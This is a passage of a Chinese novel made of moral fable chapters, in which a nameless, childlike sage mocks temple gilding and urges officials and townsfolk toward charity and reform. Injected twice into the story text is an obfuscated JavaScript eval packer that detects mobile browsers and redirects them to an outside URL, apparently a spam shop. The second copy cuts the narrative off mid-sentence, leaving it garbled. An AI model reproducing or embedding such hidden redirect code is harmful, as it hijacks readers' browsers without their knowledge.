玉环可当救人命,真佛原不坐莲池。 莫道僧俗无分别,一碗热粥即慈悲。 后世叹: 大丰三年春水生,姑苏城外画僧行。 寒山寺前粥犹热,枫桥月下语自清。 金箔贴佛终是幻,玉环救人才为诚。 十年烟雨江南路,犹见赤脚雨中轻。 正是: 千里莺啼绿映红,水村山郭酒旗风。 南朝四百八十寺,多少楼台烟雨中。 寺中有僧不读经,雨中无伞自擎灯。 莫问真佛在何处,且看赤脚过人生。 21. 长安寻佛谳 楔子无名人 大秦十年春,长安西市来了个卖泥人的。摊子摆在慈恩寺外,泥捏得奇——不捏菩萨罗汉,专捏市井人物:挑粪的、要饭的、杀猪的、唱曲的,个个眉眼生动,还题着歪诗。 最奇的是一组“寻佛图”:第一尊是锦衣香客跪拜金佛,题“佛在西天”;第二尊是同一个人蹲着喂街边病丐,题“佛在眼前”;第三尊只剩个空蒲团,题“佛在何处?” 摊主是个少年郎,十六七模样,娃娃脸,分不出男女,整日笑嘻嘻的。问他名姓,说“我叫喂、哎、那位都行”;问来历,说“从脚底板来”;问泥人卖价,伸出一指——一文钱一个,童叟无欺。 慈恩寺知客僧了凡路过,见泥人讽刺香客,大怒:“哪来的野小子,谤佛辱僧?” 少年抬头,眼如清泉:“师父,我捏的是人,怎是谤佛?” “这…这题诗分明是讥讽!” “诗说实情呀。”少年拿起“佛在眼前”那尊,“您看,这人喂乞丐,是不是比跪拜更像佛做的事?” 了凡语塞,拂袖而去。少年也不恼,继续捏泥。晌午,来了个瘸腿老丐,盯着泥人发呆。少年拿了个“挑粪人”给他:“送你,不要钱。” 老丐颤声:“小哥…你捏的,是我年轻时候。” “哦?那您讲讲,挑粪苦不苦?” “苦,臭,人嫌。”老丐蹲下,“可庄稼要粪,人要吃饭。没有挑粪的,哪有拜佛的?” “对喽!”少年拍手,“您这才是真佛理——佛不要香,人要粪,粪养粮,粮养人,人拜佛。转一圈,佛是您供的。” 老丐愣住,继而大笑,笑着笑着,哭了。 一、 慈恩寺外 从那天起,少年泥人摊前,常聚些怪人:有输了钱的赌棍,有死了老伴的老汉,有被逐出家门的逆子。来了也不买泥人,蹲着说话。少年听着,偶尔插一句,句句戳心窝。 赌棍说手气背,少年捏个“剁手人”给他:“剁了就不赌了,敢么?” 赌棍哆嗦。 老汉说想跳河,少年捏对泥娃娃:“这是你孙子?你死了,他哭谁?” 老汉掩面。 逆子说爹狠心,少年捏个弯腰锄地的老农:“这是你爹?他腰怎么弯的?” 逆子语塞。 一来二去,慈恩寺的香客,分了两拨。一拨进寺烧香,一拨在摊前说话。了凡气得跳脚,报官说“妖人聚众”。长安府法曹参军韩愈——与唐贤同名不同人,是个认死理的——亲自来查。 韩参军到摊前,见少年正给个哭妇捏泥人。妇说丈夫宠妾虐她,少年捏了个“三人行”:夫在中间,左妻右妾,妻捧饭,妾捧酒,夫两碗都接,噎得翻白眼。 妇破涕为笑。少年说:“大姐,饭要抢着吃才香。你且把饭做得再香些,他若不回头,是他没福,饿死拉倒。” 韩愈咳嗽一声。少年抬头:“官爷买泥人?一文一个。” “本官问你,姓甚名谁,籍贯何处?” “我叫泥人张…王…李都行。籍贯嘛,”少年指地上泥土,“长安土生的。” “休要嬉皮笑脸!有人告你妖言惑众。” “妖言?”少年歪头,“我说‘做人要像人’,这是妖言?那什么才是人言——‘拜佛能升官’?‘捐钱能消灾’?” 韩愈被噎住。他细看这少年,眉眼干净,不似奸邪,便道:“你既无恶意,何必在寺前生事?挪个地方吧。” “寺前好呀。”少年笑,“这里人多,苦人多。佛在寺里听不到苦,我在寺外听听,说几句人话,不行么?” “佛门清净地…” “不清净。”少年打断,指向寺门,“您看,进出的,多少是求升官发财的?多少是心里有鬼来买安心的?佛要真清净,该把门关了,谁也别进。” 韩愈竟无言以对。他拿起那尊“佛在何处”的空蒲团泥人,沉思片刻,放下三文钱:“这三个,我买了。” 少年却只收一文:“说好一文一个。官爷多给,是贿赂,我不要。” 韩愈深深看他一眼,走了。回衙对书吏说:“此子…不简单。” “要不要驱赶?” “不必。”韩愈摇头,“让他待着。长安城,需要这么个说人话的。” 二、 大佛开光 三月三,慈恩寺新铸铜佛开光。佛高丈六,用铜五万斤,信众捐金贴面,金光耀眼。方丈广济发了千张请柬,长安有头脸的都来了。 开光仪式在辰时。卯时,寺前已人山人海。少年泥人摊照摆,今日捏的是“众生相”:有踮脚看佛的,有挤掉鞋的,有偷人钱袋的,有被踩哭的娃。 韩愈奉命维持秩序,又见少年,蹙眉:“今日大典,莫生事。” “不生事,看热闹。”少年笑嘻嘻,捏了个“大佛瞪眼”,佛眼铜铃大,瞪着底下芸芸众生。 吉时到,钟鼓齐鸣。广济方丈登台,正要说法,忽听寺外墙根下,传来凄厉哭喊。是个老妇,抱着个病孩,跪求入寺:“方丈慈悲!让我儿进去拜拜,求佛保佑!” 知客僧拦着:“今日贵客满堂,闲杂莫入!” 老妇磕头:“我儿快死了…就求佛摸一下,一下就好!” 广济皱眉,示意给几个钱打发。少年忽然站起,朗声道:“方丈,佛说慈悲。这孩儿要死了,佛若真有灵,是该坐殿上受香火,还是该下来摸他一下?” 满场寂静。广济沉脸:“哪来的狂徒!” “狂徒不敢,是个捏泥人的。”少年走到老妇前,蹲身看那孩子,面如金纸,气若游丝。他伸手在孩子额上轻轻一摸:“小兄弟,佛摸过你了,不怕。” 说也奇,那孩子竟睁开眼,弱弱喊了声“娘”。 众人哗然。老妇喜极而泣。广济脸色铁青:“装神弄鬼!” 少年起身,对众香客道:“诸位看见没?方才我摸那一下,你们觉得是佛,还是人?” 有人嘀咕:“碰巧吧…” “对,碰巧。”少年点头,“佛渡人,也靠碰巧。可若连碰一下都不愿,这佛,是铜的,还是活的?” 他走到大佛前,仰头看。佛垂目,慈悲庄严。少年忽然伸手,在佛脚上拍了一巴掌。 “啪”一声脆响,惊得满场倒吸凉气。 “嗯,是铜的,冰凉。”少年甩甩手,“难怪,摸小孩是热的,摸佛是冷的。这佛,不如人暖。” 广济大怒:“捆了!送官!” 武僧涌上。韩愈急拦:“方丈息怒!今日大典,不宜动粗。” “他辱佛!” “他辱的是铜像,不是佛。”韩愈正色,“佛若连一巴掌都受不住,还渡什么众生?” 广济怔住。少年对韩愈一揖:“谢官爷。我走啦,这儿铜臭味太重,熏人。” 他收拾摊子,背起箱子,哼着小调走了。走前,将那尊“大佛瞪眼”泥人,放在寺门槛上。 佛眼瞪着寺内,也瞪着寺外。 三、 西市医心 少年没走远,在西市最脏的“丐窝”旁,又支起摊。这回不卖泥人,摆了个“问心摊”:一张破席,两个蒲团,谁有苦,来坐,他说几句。不要钱,但若带了吃食,分他一口也行。 来的人五花八门。有妓女问“何时能从良”,少年说“心净即从良,身在哪都一样”;有贪官问“如何睡得稳”,少年说“把贪的吐出来,就稳了”;有书生问“何时中举”,少年捏个“粪瓢”给他:“先挑三年粪,再谈圣贤书。” 话糙,理正。渐渐,丐窝成了“医心窝”,比寺庙还热闹。 这日来了个绸缎商,姓钱,愁眉苦脸。坐下就说:“大师,我上月捐了三百两金箔,给慈恩寺佛贴金。可生意还是亏,佛不保佑啊!” 少年正吃馍,含糊道:“佛不缺金,缺心眼。” “什么?” “你捐金时,想的是佛,还是生意?”少年咽下馍,“若是想生意,那是买卖,不是供养。买卖亏了,怪谁?” 钱商人愣住。 “城外流民,饿得吃土,你三百两,能救多少人?”少年问,“你救一人,是一功德;贴金佛身,佛未必知。哪个划算?” “可…都说捐佛功德大…” “谁说?和尚说的。”少年笑,“和尚要修庙,要金身,自然说捐佛好。佛要这些么?佛要人向善。你救人,就是向善,就是功德。” 钱商人沉思良久,起身一揖:“受教。”他真去城外设了粥棚。 三日后,他喜滋滋回来:“奇了!自施粥,主顾多了,账也顺了!” 少年摆手:“不是佛保佑,是你心宽了,人不躲你了。人心是秤,称得出善恶。” 消息传开,有几个香客,悄悄把捐寺的钱,转去施粥、义诊。慈恩寺的功德箱,眼见着瘦了。 了凡气得牙痒,又报官。韩愈这回不来了,只回四字:“多管闲事。” 四、 雨夜真佛 四月八佛诞,大雨。慈恩寺法会照办,只是香客少了三成——都去西市看“问心摊”了。 少年今日不摆摊,在丐窝棚里,给几个病丐熬药。药是野草根,他认得全,说“地上长的,都是药,看你会不会用”。 正熬着,棚外来了辆马车。车帘掀开,下来个老妇,锦衣华服,是当朝宰相裴度之母。老太太七十多了,挂杖走近:“小哥,老身…能坐坐么?” 少年挪出干地:“坐,但棚漏雨,您仔细着。” 裴母坐下,端详他良久:“你…就是那个说‘佛不如人暖’的少年?” “是我。” “你不怕?” “怕什么?怕佛怪罪?”少年搅药,“佛要怪,先怪那些借他名敛财的。我一个捏泥人的,怕啥。” 裴母笑了,皱纹舒展:“我儿裴度,官至宰相,可近日愁得很。他说,朝堂如泥潭,清不了,出不去。老身来问问,可有解法?” 少年递过碗热药:“老夫人先喝口,暖暖。” 裴母接过,尝了一口,苦得皱眉,却喝完了。 “药苦,可治病。”少年道,“朝堂是潭,您儿是莲。莲出淤泥,靠的是根干净,梗中通。根若不净,早烂了;梗若不中通,早憋死了。让他想想,根还净不净?梗还通不通?” 裴母一震,喃喃:“根…梗…” “对。做官如做人,心是根,行是梗。心净,行的正,哪怕在泥潭,也开得出花。心不净,行不正,金殿也是泥潭。” 裴母默然,良久起身,深揖一礼。少年避让:“使不得,折寿。” “受得。”裴母道,“这话,值万金。不,万金买不到。” 她上车离去。少年继续熬药。雨越下越大,棚顶漏得厉害。他将几个病丐挪到干处,自己坐在漏处,任雨淋。 有丐问:“小哥,你图啥?” “图个心安。”少年抹脸上雨水,“你们病好了,我心安;那老太太明白了,我心安。心安了,雨也是暖的。” 是夜,裴度连夜进宫,上《清源疏》,请查贪墨,裁冗员,减税赋。皇帝准奏,朝野震动。 知情人说,裴相那夜从宫中出来,不坐轿,步行回府,一路淋雨。到家对老母说:“娘,儿今日,才知什么是根净梗通。” 裴母笑:“是那少年教的?” “是雨教的。”裴度望向西市方向,“那少年,是雨中人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088173|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五、 泥归土 五月,少年忽然不见了。摊还在,泥人还在,人没了。丐窝的人说,昨夜还在熬药,今晨只剩张字条,炭笔写的: “泥人归土, 土生万物。 佛在泥中, 莫再寻吾。” 裴母命人寻,无果。韩愈也暗访,无迹。像一滴水,蒸发了。 唯留那些泥人,在西市传着。有买的,转赠的,供着的。慈恩寺悄悄撤了“捐金榜”,多了个“施药处”。了凡自请去施药处,见了乞丐,也会递碗热水了。 七月,流年不利。关中蝗灾,渭水泛滥,灾民涌向长安。朝廷开仓放粮,僧寺道观皆设粥棚。慈恩寺的棚最大,广济方丈亲自掌勺。 这日,棚前排着长队。有个小乞丐,五六岁,领了粥不喝,东张西望。了凡问:“找什么?” “找…找捏泥人的小哥哥。”小乞丐说,“他说,喝了粥,给他捏个泥人。” 了凡心中一动:“他…长得什么样?” “娃娃脸,笑笑的,手可巧了。”小乞丐比划,“他说,他是土里生的,还会回土里去。” 了凡望向远方,烟尘滚滚,灾民如蚁。 忽然,他看见个人影——在灾民队伍里,正帮个老人提行李。娃娃脸,破衣衫,赤着脚。是那少年! 了凡急追过去,人影却一晃,不见了。问那老人,老人说:“是个好心娃,帮我提东西,说‘您慢慢走’,就走了。” “往哪去了?” 老人指指西方:“那边,说去灾区,那边苦人多。” 了凡呆立良久,回棚继续施粥。粥烫,他吹凉了递给下个灾民,忽然说:“小心烫。” 话出口,自己一愣——这是那少年常说的。 原来有些话,听多了,就种在心里了。 尾声佛是人间 三年后,韩愈调任离京。行前,独访慈恩寺。寺已大变,殿前多了“问心亭”,谁有苦,可亭中坐,有僧聆听。功德箱小了,旁立木牌:“捐钱不如捐力,可来施粥处帮忙。” 广济方丈老了,见韩愈,合十:“韩大人,老衲…悟了。” “悟了什么?” “佛是泥塑的,人是活着的。”广济指殿中铜佛,“那尊佛,还是冰的。可施粥的锅,是热的。热比冷,更像佛。” 韩愈点头,出寺。在西市“丐窝”旧址,如今成了“义学堂”,穷孩子在此识字。教书的是个老秀才,见他来,递上个布包。 “这是?” “那少年留下的。”老秀才说,“他走前,放我这,说若有官爷来问,给。” 布包打开,是个泥人,捏的是韩愈自己——着官服,蹲着给乞丐递粥。底刻八字: “佛是人间, 官是父母。” 韩愈眼眶一热。翻过泥人,背后还有行小字: “莫寻我,我在土中,在风中,在每一碗热粥的热气里。 若真想见佛,且看—— 谁在施粥,谁在救人,谁在说人话,做人事。 那人,便是佛。” 韩愈将泥人揣入怀中,上马出城。城外,春麦青青,农人正施肥。粪臭扑鼻,他却深吸一口。 是活着的气味。 是佛在泥土里的气味。 他忽然想起那少年的话: “佛要金身做甚?要的是人,活生生、有温度、会苦会笑的人。” 他打马前行。身后长安,钟声悠悠。 而更远的关中,蝗灾过了,水退了,田里又有了绿意。 有农人说,曾见个娃娃脸少年,在田埂上走,哼着歌: “佛在西天也在我, 我在土中也在天。 莫问何处寻真佛, 且看碗中粥可鲜?” 是梦,是真,无人知。 只知那歌,在田间传着。 只知那碗粥,是热的。 只知那佛,从未离开。 在每一寸土里,每一碗粥里,每一个伸手的人心里。 本章诫世 一、 泥人讽世之镜 - 以市井泥人对照金身佛像,以人间苦乐对照殿中香火 - 破解法:凡标榜“神圣”而远离尘土者,必察其虚 - 示例:捏“寻佛图”、题刺世诗、摆“问心摊” 二、 佛脚一巴掌之悖 - 拍铜佛脚言“不如人暖”,直指宗教物质化之弊 - 惕世:当信仰成为镀金生意,真义便在街头泥泞中 - 反思:大典金光与病丐哭声,哪个更近佛心? 三、 根净梗通之喻 - 以莲喻官,根在心净,梗在行通 - 深层隐喻:任何高位者,若心根不净,终陷泥潭 - 终极质问:是佛殿需要金箔,还是人间需要热粥? 泥人偈: 长安市上捏泥人,不捏菩萨捏世尘。 佛脚冰凉不如手,人心温暖即法身。 莫向西天寻宝相,且看东郭施粥盆。 泥人归土终是土,土生万物又逢春。 后世叹: 大秦十年春复春,慈恩寺外笑语频。 泥人捏出众生相,破席医好百病心。 佛诞日冷金身泪,雨夜棚暖药灶薪。 莫问少年何处去,碗中粥气即佛音。 正是: 长安三月柳絮扬,寺外泥人市井妆。 佛诞日冷拍铜脚,雨夜棚暖熬药汤。 根净梗通莲出水,粥热语平丐成康。 莫道真佛无处觅,且看谁在施粥忙。 22. 下凡破障谳 楔子无字碑 胜朝隆庆三年,开封府南郊乱坟岗,一夜之间多了块碑。 碑是青石,高五尺,无字。奇的是,碑前每日清晨都摆着新鲜贡品:有时是半块炊饼,有时是几颗野果,有时甚至是个破碗,碗里盛着清水。 守坟的老军说,子夜常听见碑旁有人说话,声如少年,又像女子,听不真切。胆大的去瞧,只见个影子,在月光下或坐或卧,对碑“说话”。 “说的啥?” “像是…讲故事。讲东街王婆媳不孝,西巷李四赌输钱,北关赵五卖假药…” “跟碑说这些?” “嗯,还说‘你记着,这都是人间的病’。” 一、 开封问病 消息传到开封府衙,通判沈清源,四十许,方脸细目,是个好较真的。他换了便服,夜访乱坟岗。 子时,月明。碑前真坐着个人,着灰布直裰,头发随意束着,看背影分不出男女年纪。正对碑言: “…所以说,王婆那媳妇,不是不孝,是穷。穷得只剩一口气,还要分给婆婆半口,心里怨,脸上就带出来了。这病根不在孝,在穷。” 声音清越,确像少年。 沈清源咳嗽一声。那人回头,月光下一张娃娃脸,眉眼干净得像刚洗过,笑问:“官爷也来问病?” “问什么病?” “人间百病。”那人指碑,“这碑是药方,专记病根。官爷若有病,说说,我记上。” 沈清源觉得荒唐,却鬼使神差开口:“开封府近日,有十七起盗案未破,算不算病?” “算,心病。”那人捡根树枝,在地上画,“盗为何盗?穷。穷从何来?税重、灾多、工少。官爷只抓盗,不治穷,是斩草不除根,春风吹又生。” “依你之见,当如何?” “减税、赈灾、兴工。”那人写得快,“让民有活路,盗自绝迹。这比派多少捕快都有用。” 沈清源沉吟:“你说得轻巧,税是朝廷定的,灾是天降的,工…” “工是人开的。”那人打断,“开封富商三十七户,仓廪堆霉米,为何不雇人修渠、铺路、建义塾?是不为,非不能。官爷若劝,劝得动一家,可活百人。” “你是谁?怎知这些?” “我是看病的。”那人起身,拍拍土,“白日走街串巷,夜里来此开方。官爷若信,明日此时,带卷开封户册来,我指给你看,病根在哪儿。” 言罢,走入坟茔深处,一晃不见了。 沈清源回衙,辗转难眠。次日,真带上户册,夜再去。那人已在碑前,就着月光翻册,指指点点: “看,东城三百户,有井十七口,六口苦,五口涩,能喝的只六口。水是病。” “西城五百匠户,今年接活不到三成,七成人闲半年。闲是病。” “南城寡妇巷,九十七户无男丁,靠缝补过活,针扎手,扎出血,血是病。” 他抬头,眼亮如星:“官爷,这些病,碑上记了。可开方的,是你们。” 沈清源冷汗涔涔。这些,他竟不知。 “你…究竟何人?” “无名无姓,是个郎中。”那人笑,“专治人间糊涂病。官爷今日清楚了些,就是药效。” 他合上册子,递还:“三日后,我来收‘药钱’——看官爷做了几件事,救了几个人。” 又走了。 沈清源立在碑前,良久。碑上依旧无字,可他仿佛看见,密密麻麻,写满人间疾苦。 二、 水井案 三日后,沈清源真做了件事:请东城富商周百万,出资打三口甜水井,分与苦水区。周百万起初不肯,沈清源说:“井以你名,碑以你功。” 周百万心动,捐了。井成那日,东城百姓提桶来取,欢声一片。沈清源夜访乱坟岗,那人已在,面前摆着碗清水。 “药钱。”那人推碗,“尝尝,甜否?” 沈清源饮一口,果甜。“你…怎知井成?” “我尝了。”那人指自己唇,“今日走了东城,喝了三瓢。一瓢解渴,两瓢暖心,三瓢…看人笑,我也笑。” “这便是药效?” “是引子。”那人正色,“一口井,解三百户的渴。可开封有千户、万户,渴的,不止是嘴,是活路,是盼头。官爷,这才刚开始。” 沈清源默然。那人又道:“西城匠户闲,是因河道淤塞,货船难行。若疏浚河道,需工五百,工期三月,匠户有活,货船通畅,商税可增。一举三得。” “钱从何来?” “南城寡妇巷,九十七户,会缝补,善织绣。若官府设‘妇工坊’,收购绣品,销往江南,本钱我出。”那人自怀中掏出个布包,打开,是颗明珠,鸽卵大,夜光莹莹,“这够本。赚了,归她们;赔了,算我的。” 沈清源惊:“你究竟…” “我说了,是郎中。”那人将明珠塞他手中,“药不能停,病要根治。明日,你去办这两件事。七日后,我来看效。” 他又走了。沈清源握珠,温润如玉,却烫手。 七日后,河道开工,妇工坊挂牌。乱坟岗碑前,那人听着沈清源讲述,频频点头。 “好,脉象渐稳。”他闭目,似在诊脉,“可还有一病,在肺腑。” “何病?” “心病。”那人睁眼,“开封百姓,见官如见虎,有苦不敢言,有冤不敢诉。这是堵了心窍,久了,要出大事。” “如何治?” “简单。”那人起身,“明日午时,你坐衙门口,不升堂,不穿官服,摆张桌子,挂个牌——‘听苦处’。谁有苦,来说,你听,能办的办,不能办的记下。三日,只要三日,你看民心通不通。” 沈清源犹豫:“这…成何体统?” “体统比命重要?”那人反问,“体统是衣,民心是身。衣破了可补,身死了,衣给谁穿?” 言罢,拂袖而去。 三、 衙前听苦 沈清源真听了。翌日午时,开封府衙前摆桌挂牌,他坐当中。起初无人敢近,渐有胆大的,说赋税重,说胥吏恶,说冤狱苦。沈清源记了满满三本。 第三日,来了个老农,背着一捆枯稻,往地上一掷:“大人!今年蝗灾,粮绝收,可税吏还来催粮!我儿子交不出,被拘了,地里稻子没人收,全烂了!这…这还让不让人活?” 声泪俱下。围观者数百,皆眼巴巴看着。 沈清源起身,对众揖礼:“诸位,沈某无能,让父老受苦。今日在此立誓:欠粮者,今年全免;被拘者,即刻放归。税吏贪酷者,三日内查实革办!” 众欢呼。老农跪地磕头,沈清源扶起,自掏腰包,赠银五两:“先买粮,挺过今冬。” 消息传开,百姓称“沈青天”。是夜,乱坟岗。那人听罢,抚掌:“脉通了,气血活了。这病,好了三成。” “才三成?” “病去如抽丝。”那人捡根枯枝,在地上画图,“你看,开封如人身。头是府衙,心是民心,手足是百姓。如今心脑通了,可手足还弱——弱在无恒产,无恒业,无恒心。” “如何强?” “均田,劝工,兴学。”那人画三个圈,“田均则民安,工兴则民富,学兴则民智。三事成,开封可活。” 沈清源苦笑:“这…非我一人能办。” “那就办能办的。”那人目光炯炯,“开封有学田千亩,被豪强侵占七百。你收回来,办义学,穷孩子免费读。有荒地三千亩,你招流民开垦,三年不征税。有废弃作坊十七处,你低价租与匠户,减其租金。这些,你办得到。” 沈清源怔住。这些数据,他这通判竟不知,此人如数家珍。 “你…究竟何人?”他第三次问。 那人笑了,笑出两个酒窝:“我是你心里那个‘该做点什么’的声音。你听见了,做了,我就是你;你听不见,不做,我就走了,找下一个能听见的人。” 他起身,拍拍灰:“药方开完了,药也吃了。往后,靠你自己了。记住——” 他指那无字碑:“这碑,会一直在这儿。你做一件实事,碑上就多一道痕,是功德痕。你做一件虚事,碑上就多一道裂,是罪孽纹。天地为证,人心为秤,你好自为之。” 言罢,走入夜色,再无踪影。 沈清源在碑前坐到天明。晨光中,他仿佛看见,碑上真有隐隐约约的纹路,像字,又像画。 他伸手去摸,冰凉,光滑。 无字。 四、 三事功成 往后三月,沈清源真办了那三件事。 学田收回,豪强闹到知府那儿,沈清源拿出地契原档,豪强哑口。义学开张那日,三百孩童入学,书声琅琅。 荒地开垦,流民闻讯而来,领种子,领农具,田里有了绿意。 作坊重启,机杼声、打铁声、锯木声,响彻西城。 开封活了。乞丐少了,盗案稀了,街市热闹了。知府上表为沈清源请功,批文下来,升开封府尹。 升迁那日,沈清源独坐府衙,却无喜色。幕僚问:“大人高升,为何不乐?” “我在想,”沈清源道,“这些事,本该早做。为何从前不做?是不知道,还是…装不知道?” 幕僚语塞。 是夜,沈清源又去乱坟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“先生,我老了,病治不动了。可这人间,病好像…越来越多了。贪的、嗔的、痴的、慢的、疑的…五毒俱全。这病,怎么治?” 风吹过,碑无声。 他苦笑,起身欲走。忽见碑底,不知谁用炭画了行小字: “病在人间,药在人间。 治病者,是人; 服药者,是人。 人人可医,人人需医。 医好一个,是一个。 医不完,也要医。 因为—— 人间值得。” 字迹稚嫩,像孩童所写。 沈清源看了良久,大笑,笑出泪。 他掸掸衣尘,对碑一揖:“受教。人间值得,那就…继续医。” 他走了,背微驼,步却稳。 碑静静立着。 无字,却像说了千言万语。 碑旁野花,岁岁枯荣。 就像这人间,病痛不断,希望也不断。 总有那么个“看病先生”,在某个角落,对某块“碑”,说着: “来,说说你的病。我听着,记着,想办法,治着。” 本章诫世 一、 无字碑问病之镜 - 以无字碑为“病历”,记录人间疾苦 - 破解法:凡标榜“太平盛世”者,必察其暗处疾苦 - 示例:水井、匠闲、妇贫三病,皆源于制度缺失 二、 看病先生之悖 - 无名无姓无来历,却比官吏更知民瘼 - 惕世:真知常在民间,真医常是布衣 - 反思:当官僚系统失灵,救赎或起于草野 三、 药在人间之喻 - 以明珠换妇工坊,喻“资本当为民生所用” - 深层隐喻:社会病需系统性治疗,非零星施舍 - 终极指向:治标在施粥,治本在均田、劝工、兴学 问病偈: 隆庆三年秋风凉,乱坟岗上碑无字。 夜来童子说民瘼,晨起官府开药方。 一井能解三百渴,三事可活半城荒。 莫道人间病难治,且看心有几分光。 后世叹: 胜朝隆庆开封府,乱岗碑前月照途。 无名童子说百病,有胆通判开三疏。 学田收归书声起,作坊重启铁锤呼。 莫问郎中何处去,人间疾苦是药炉。 正是: 开封城外乱坟岗,无字碑前月如霜。 夜夜有人说疾苦,朝朝见吏开药方。 一井能活三百户,三疏可暖半城凉。 莫道人间无妙手,妙手原在众生旁。 23. 辨鬼谳 楔子鬼市郎中 永昌七年,济南府出了桩奇闻。 城西“鬼市”——实是五更开市的旧货集市——来了个走方郎中,设摊不卖药,专“诊鬼”。摊前挂布幡,上书: “专治心鬼:贪嗔痴慢疑,五鬼缠身,药到病除。” 郎中着灰布袍,戴破巾,面如少年,声若童子。摊上无药材,只一叠黄纸,一砚墨,几支笔。谁来“诊鬼”,他便问症,提笔在黄纸上写几字,递给来者:“照方抓药,三剂可愈。” “药”也奇:有让“捐三钱与乞丐”的,有让“向仇家赔个不是”的,有让“闭门思过三日”的。花钱的少,费事的多。 众人笑他疯癫。可怪的是,照方做了的,真就神清气爽,百病消减。一传十,十传百,鬼市“诊鬼郎中”名声鹊起。 一、 贪鬼牵袖 这日,来了个米商,姓钱,面黄肌瘦,坐摊前就说:“先生,我近来寝食难安,一闭眼就见满屋白米变黑,虫蛀鼠咬。请了道士画符,和尚念经,无用。怕是…宅子不净?” 郎中抬眼打量:“伸手。” 钱米商伸手。郎中不号脉,只看掌纹,又观其目,忽道:“你三日前,是不是扣了批潮米,掺在好米里卖了?” 钱米商脸色一变:“你…你怎知?” “我不但知,”郎中提笔,在黄纸上写,“我还知,那买米的是个孝子,买给病母熬粥。母食后腹泻,如今还卧病。” 笔落,纸上现字: “方:贪鬼附体。 药:退米钱,赔药资,侍奉汤药至愈。 忌:再掺假。” 钱米商汗出如浆:“我…我退钱就是…” “退钱是还债,不是治病。”郎中直视他,“贪鬼在你心里,见利忘义,牵你衣袖,推你作恶。你不驱它,它早晚啃你心肝——那满屋黑米,就是心肝烂了的相。” 钱米商跌坐在地,良久,颤声问:“若…若照方做,真能好?” “你做了,夜里能睡安稳,便是好了三成。剩下七成,要看往后。”郎中递方,“记住,贪是饿鬼,越喂越饿。唯有舍,能饱。” 钱米商揣方离去。三日后,他搀着个老妇来摊前,老妇正是那病母,已能行走。钱米商对郎中长揖:“先生,我照方做了,这两夜,睡得踏实。那黑米…不见了。” 郎中点头:“贪鬼已去。但心田要常耕,莫再让杂草生。” 老妇欲跪谢,郎中扶住:“大娘该谢你儿子——他心灯复明,照退了鬼。” 二、 嗔鬼鼓舌 又几日,来了一对夫妻。丈夫姓赵,铁匠,目赤面红,进门就吼:“先生!给我诊诊,我是不是撞了煞?近来点火就着,昨日为个破碗,差点砸了铺子!” 妻子在旁垂泪:“他从前不这样…” 郎中让赵铁匠伸手,看罢,道:“你手上,可有条新疤?” 赵铁匠怔住,抬右手,虎口果有条疤:“你怎知?上月打铁,走神烫的。” “不是走神,是分心。”郎中提笔写方,“你分心想什么?想东街王寡妇,对不对?” 赵铁匠如遭雷击,妻脸色煞白。 “你看王寡妇,觉着自家妻丑;听王寡妇笑,觉着自家妻烦。看什么都不顺眼,点火就着——这是嗔鬼作祟。”郎中落笔: “方:嗔鬼缠心。 药:向妻叩首认错,三日不语,只看妻目。 忌:再起邪念。” 赵铁匠面红耳赤,欲辩,郎中摆手:“莫辩,辩就是嗔鬼鼓舌。你且想想,你妻嫁你时,你也嫌丑?你打铁晚归,谁给你留热饭?你病卧在床,谁侍奉汤药?” 妻已泣不成声。赵铁匠呆立良久,忽然对妻跪下,连磕三头:“我…我混账!” 郎中递方:“三日不语,只看妻目。看她眼里,是你从前的影子,还是如今的鬼相。” 夫妻相携而去。三日后,二人又来,手牵手。赵铁匠目已清明,憨笑:“先生,我看清了。我妻眼里,一直是我,只是我眼里进了沙,看成别人。” 郎中笑:“嗔鬼最怕真心。真心在,鬼自散。” 三、 痴鬼迷心 这日来个书生,姓柳,青衫洗白,面有痴色。坐摊前不语,只喃喃背诗:“曾经沧海难为水,除却巫山不是云…” 郎中听了半晌,忽道:“你这痴鬼,养了三年了吧?” 柳书生一震:“先生…知我?” “你背的元稹诗,是悼亡诗。你亡的,不是妻,是…功名?”郎中观其面,“三年前乡试,你本可中举,因考官误判落第。从此魂不守舍,日夜念叨‘沧海巫山’,是也不是?” 柳书生泪涌:“是…我苦读二十载,只差一步…我不甘!” “不甘是痴鬼食粮。”郎中提笔,“你痴迷功名,以为天地间唯此一路。如今路断,便觉人生无趣,终日恍惚——这是痴鬼迷心,让你只见一叶,不见泰山。” 落笔成方: “方:痴鬼障目。 药:明日去城隍庙,为乞儿讲学三日。 忌:再提功名。” “讲学?”柳书生茫然,“我…我能讲什么?” “讲你会的人伦日用,讲《千字文》《百家姓》。乞儿中有愿识字的,你教他们,看他们眼亮那一刻,比你看榜时如何。” 柳书生犹豫着去了。三日后回,神情大变,眼中有光:“先生!我教了七个乞儿认名字,他们笑得…像开花!我…我从未那般快活!” 郎中颔首:“痴鬼已去。功名是独木桥,人间是阳关道。你走阳关道,看见花开,听见儿笑,这才是活着。” 柳书生长揖到地:“学生…悟了。” 四、 慢鬼作祟 这日来的是个武师,姓雷,虎背熊腰,进门就嚷:“哪个是诊鬼的?给我看看!我近来手抖,扎马不稳,定是有小人作祟!” 郎中让他伸手,雷武师却一掌拍在摊上:“先露一手!若你是江湖骗子,我砸了这摊!” 摊桌晃,墨汁溅。郎中不动,只看他:“你手抖,是因上月比武,输给个后生,对么?” 雷武师脸涨红:“你…你听谁嚼舌?” “我不听人言,只看你相。”郎中徐徐道,“你眉间有戾气,是‘慢鬼’作祟。自觉天下第一,输不起,放不下,日夜琢磨,气血上涌,手自然抖。” “放屁!我雷某闯荡江湖二十年…” 